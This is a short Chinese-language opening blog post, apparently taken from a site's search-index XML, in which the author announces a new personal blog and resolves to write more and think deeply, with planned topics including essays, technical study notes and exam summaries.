<content type="html"><![CDATA[<p>Photo by Vladislav Klapin on Unsplash</p><h1 id="开篇之作"><a href="#开篇之作" class="headerlink" title="开篇之作"></a>开篇之作</h1><p>今天我终于迈出了开始自己博客撰写的第一步。想想昨天自己花费了大半天时间,一直专注于博客工具的构建(zhi-li.github.io),却忘了写博客的本质 ———— 督促自己进行深度思考,打破自己以往只读、只读,没有思考的弊端,希望从现在开始,从每一篇小文章、小随笔写字。记录下自己思考的过程,产生灵感、想法;创造自己的独到的见解、看法。少点输入(控制输入数量、质量)、多点输出(深化思考)。</p><p>接下来,我的博客写作主要内容包括:个人随笔、技术学习总结与思考、考试总结等等…之前写的文章也会陆续上传的哦;)</p><p>未完待续 …</p>]]></content>
<categories>
<category>随笔</category>
</categories>
<tags>
<tag>随笔</tag>
</tags>
</entry>
</search>